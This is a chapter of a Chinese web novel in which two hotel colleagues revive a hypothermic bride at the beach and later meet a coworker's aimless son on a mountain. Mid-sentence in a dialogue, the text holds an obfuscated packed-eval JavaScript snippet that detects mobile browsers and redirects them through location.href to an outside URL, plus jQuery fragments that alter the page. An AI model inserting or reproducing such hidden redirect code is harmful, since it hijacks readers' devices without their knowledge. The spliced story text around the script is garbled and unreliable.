14. 第 14 章

作品:《徒栖

    海边冬日的风越来越大,林牧野和沈清准备返程回京州市,明早还要赶飞机。


    突然,一声呼救引起两人注意。


    “救命!有人晕倒了!谁来帮帮忙!”


    声音从不远处的海滩传来。


    刚才还令林牧野羡慕的那对新人方向,新郎官正半跪在海水中,头发被海风吹乱,试图晃醒倒在怀里的新娘。


    新娘身上只穿着单薄的抹胸婚纱,裙摆还浸在冰冷的海水里,身体似在微微颤抖。摄影师和助理围在旁边,满脸慌乱,不知所措。


    林牧野拉着沈清冲了过去。


    “别围着她!让开道路!”沈清一边跑一边喊。她不顾鞋子进水,和林牧野把新娘抱上沙滩。


    新娘身体冰冷,嘴唇呈现不正常的淡紫色。


    “失温,很可能是急性失温!”沈清快速做出判断,立刻要抱起新娘,却因为新娘的体重有些吃力,“不能让她继续躺在湿冷的地方。林牧野,帮我!”


    林牧野将自己的外套脱下给新娘盖上,双手已经接替沈清将新娘抱起:“我来抱她,你打120。”


    沈清一边掏出手机,一边给林牧野指路:“去那个咖啡店,我来时看过,门口有AED除颤仪!”


    林牧野用冷静的语气对慌了神的新郎说:“帮忙开门!”


    如此大的动静惊动了店内的客人,纷纷好奇张望。林牧野将新娘平放在沙发上,沈清打完电话对前台店员急声道:“麻烦拿尽可能多的干毛巾!有热水或者热巧克力吗?快!”


    店员被她的气势震慑,连忙去取。新郎瘫坐在一旁,握着新娘冰冷的手,语无伦次。


    沈清将毛巾递给新郎和林牧野,新郎学着两人帮新娘快速擦干皮肤,然后用衣服紧紧裹住身体帮她回温。


    “热巧克力来了!”


    沈清接过,试了试温度,小心地想要扶起新娘喂一些。


    “等等!”林牧野一直密切观察着新娘的状态,此时突然阻止。他眉头紧锁,语气坚定:“她意识没有恢复,吞咽反射可能很弱,强喂容易呛咳窒息。”


    说着,他拿出随身携带的血氧仪,夹在新娘的食指上。


    屏幕上跳出血氧饱和度和脉搏数值。“血氧偏低,心率不齐。”林牧野又快速检查了她的颈动脉搏动,“呼吸心跳太弱了,不能等!”


    他没有丝毫犹豫,立刻就地胸外按压,动作标准有力,一看就受过专业训练。


    沈清大脑飞速运转,立刻配合林牧野清理新娘口腔,开放气道,并在林牧野按压的间隙,对新娘进行人工呼吸。


    所有人都屏息看着这一幕。不知道过了多久,新娘的睫毛忽然颤动了一下,喉咙里发出一声细微的呻吟。林牧野停下按压,再次检查颈动脉和呼吸。


    “她醒了!”沈清惊喜地欢呼,看着血氧仪上的数字有所回升。


    林牧野额角已渗出细密的汗珠,松了口气的同时还在检查新娘体温是否正常。


    终于,救护车也到了。


    急救人员接手,初步检查后,新娘已无大碍。医务人员肯定了他们的现场处置:“做得非常及时,再晚几分钟可能就危险了。”


    新郎跟着担架上救护车前,红着眼眶对林牧野和沈清千恩万谢。


    救护车走了之后,沈清和林牧野留下来帮咖啡厅收拾满地狼藉。店员送了每人一杯招牌咖啡山楂dirty,沈清和林牧野终于伴着夕阳的余晖坐下来喘了口气。


    “你怎么会随身带着血氧仪?”


    林牧野接过沈清递给他的血氧仪,将它放回口袋,拉好拉链:“以前徒步的时候买的。后来在滇南,高原地区,也一直带着,万一客人有不舒服检测一下,有备无患。”


    好奇涌上心头,沈清试探着开口:“你以前经常爬山徒步吧?经验这么丰富。”


    林牧野不置可否,目光落向窗外在海滩上玩耍的人们身上。


    “我听他们说,你把酒店起名徒栖,就是为了给徒步的人有一个休息的地方。”沈清仍是盯着他,想问出个究竟,“但你总是对我们说爬山徒步的事情回避,是有什么原因吗?”


    林牧野慢慢收回了目光,低下头,试图掩饰眼底一闪而过的黯然:“我......很喜欢徒步。”


    “那为什么......”


    “我不想说。每个人都有权利对外人说或者不说一些事,对吗?”林牧野看着沈清回答,眼睛里的冷漠让沈清感到陌生。


    “是,我知道了。”


    沈清以为,两人已经走得够近。


    看来,她还是想太多了。


    回程的路上,两人一路无言。


    沈清倒不是对林牧野生气,只是今天实在是太累,没有力气提起劲儿找话题。


    她看林牧野也没有主动说话的意思,只是公事公办地说一些必须沟通的话,比如在酒店进房间前询问第二天起飞时间,比如第二天在机场训问沈清箱子用不用托运。


    到达黎乡时,沈清第一次有了回家的踏实感。


    和林牧野刚踏进徒栖,云万宝和木秀就像看见了救星,扑了上来。


    “林总!你可回来了!”云万宝苦瓜似的脸上写满了焦虑。


    “怎么了?”


    木秀也在一旁对林牧野诉苦水:“春梅婶这两天都请假了,今天下午才来,脸色差得吓人。我们也不敢多问,但挺担心的。”


    林牧野已迅速切换回工作状态,眉头微蹙:“请假我知道。家里出事了?”


    云万宝争着汇报,生怕自己不是第一个告诉林牧野的:“听说是她儿子大学毕业回来了,躺在家里也不动,就说工作难找,整天关屋里对着电脑和手机,说要‘躺平’、‘啃老’,还跟春梅婶要钱,村里都传开了,给春梅婶气得不行。”


    林牧野思考片刻,觉得并不是什么大问题,有点放下心来:“清官难断家务事。她下午来了?状态怎么样?”


    “来了,在办公室呢,但看着死气沉沉的,给客人倒茶还烫到手。”木秀小声补充。


    林牧野点点头:“我知道了。你们忙去吧。”


    他顿了顿,目光装作不经意地扫过身旁一直沉默的沈清:“你要是看到春梅婶,让她来趟我办公室。”


    沈清没有看林牧野,幽幽地来了句:“你还是直接微信给她说吧。”便径自掂着行李箱往宿舍走。


    沈清换好工装,果然在工作间找到了独自坐在角落的陈春梅。她拿着从京州小镇带的特产面包,走到陈春梅对面坐下。


    两个人就这么在一堆床单被褥间说着话。


    “春梅婶,没事吧?”沈清轻声问。


    陈春梅抬起头,见到是沈清,撇嘴叹了口气:“沈清回来了。你一定都听说了,我就是小时候太溺爱他了,现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097051|195666||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在后悔也来不及了啊!”许是憋了太久,她打开了话匣子。


    沈清从她话语间了解到:陈春梅儿子叫吴明远,学的是影视摄影与制作,听起来时髦,找工作却高不成低不就。跟过两次剧组,受不了昼夜颠倒的强度和复杂的人际,跑了回来。让他考公考编,他说自己拥有自由的灵魂,绝不去体制内。现在非要做自媒体,说要当摄影博主,可账号开了半个月,发了几条随手拍的视频,点赞寥寥,就开始泄气。


    “他不想想,我跟他爸供他读书多不容易!可不是指望他长大在家里蹲的。”陈春梅说着,眼圈有些发红,“我说多了,他就不理我了,说什么‘你们那一代的机会已经过去了’,说我啥都不懂。每天就那个嘴巴会说。”


    沈清安静地听着,递了张纸巾过去。她想起自己裸辞时的想法,也理解现在年轻人面对的压力和迷茫,但......


    “陈姐,别太着急上火,明远只是还没找到方向和坚持的动力。您给他点时间,也许过一段自己在家无聊,就突然想清楚了呢!”


    陈春梅拍拍沈清的手:“行吧,也只能先晾晾他了。咱不说这了,别把你也弄得心情不好了。”


    -


    两天后是休息日。沈清又穿上装备,去了千狮山。


    冬日的千狮山,树木凋零,山石嶙峋,别有一番肃杀苍劲之美。


    沈清沿着千台坡向上,看着漫山遍野形态不一的狮子雕像,心情慢慢的就好了起来。


    快到山顶观景平台时,她注意到前面有个穿着多巴胺色系衣服、留长发的男生,背着一个硕大的佳能摄影包,手里端着大炮筒似的单反镜头,正对着石雕狮子和山林不断调整角度拍摄。


    男生十分专注,树上有落叶掉在他头上,他也浑然不觉。


    沈清多看了他两眼,继续向山顶攀登。


    到达观景平台,沈清扶着栏杆眺望了一会儿,便转向山腰的古寺进发。


    寺庙里那棵巨大的许愿树和上次看上去没什么变化,上面还是系满了红艳艳的许愿签。


    沈清走近抬头,随意拨弄浏览着那些写着各式心愿的签文,正微微出神,忽然听到镜头定格的“咔嚓”声。


    她转头,发现竟是刚才遇到的那个男生,不知何时也到了这里,举着镜头对着沈清。


    男生见她看来,并没有躲闪,反而落落大方地走上前几步,脸上带着点不好意思的笑:“抱歉,刚才那个光线和构图没忍住拍了几张。你看,”他把相机显示屏转向沈清,“我觉得很美。”


    沈清垂眼看去,照片里的她微微仰头,神情虔诚,身后是虚化了的繁密的红色许愿签和寺庙的屋檐。冬日的阳光恰好穿过树枝缝隙,在她发梢上勾勒出一圈朦胧的光晕。构图、光影、意境都把握得极好,确实是一张很有感染力的照片。


    “拍得不错。”沈清客观评价。


    男生继续说:“我是学摄影的,自己也在做自媒体账号,这张照片可不可以授权让我发到我的账号上?当然,如果你不愿意露脸,我可以做后期处理,或者不发也行。”他眼神干净,说的话令人很难拒绝非常期待的看着沈清。


    沈清再次打量他。近距离面对面才发现他眉眼间竟有几分熟悉,尤其是那微微下垂的眼角和挺直的鼻梁......


    沈清犹豫了一下,试探着问:“你是不是明远?陈春梅是你妈妈?”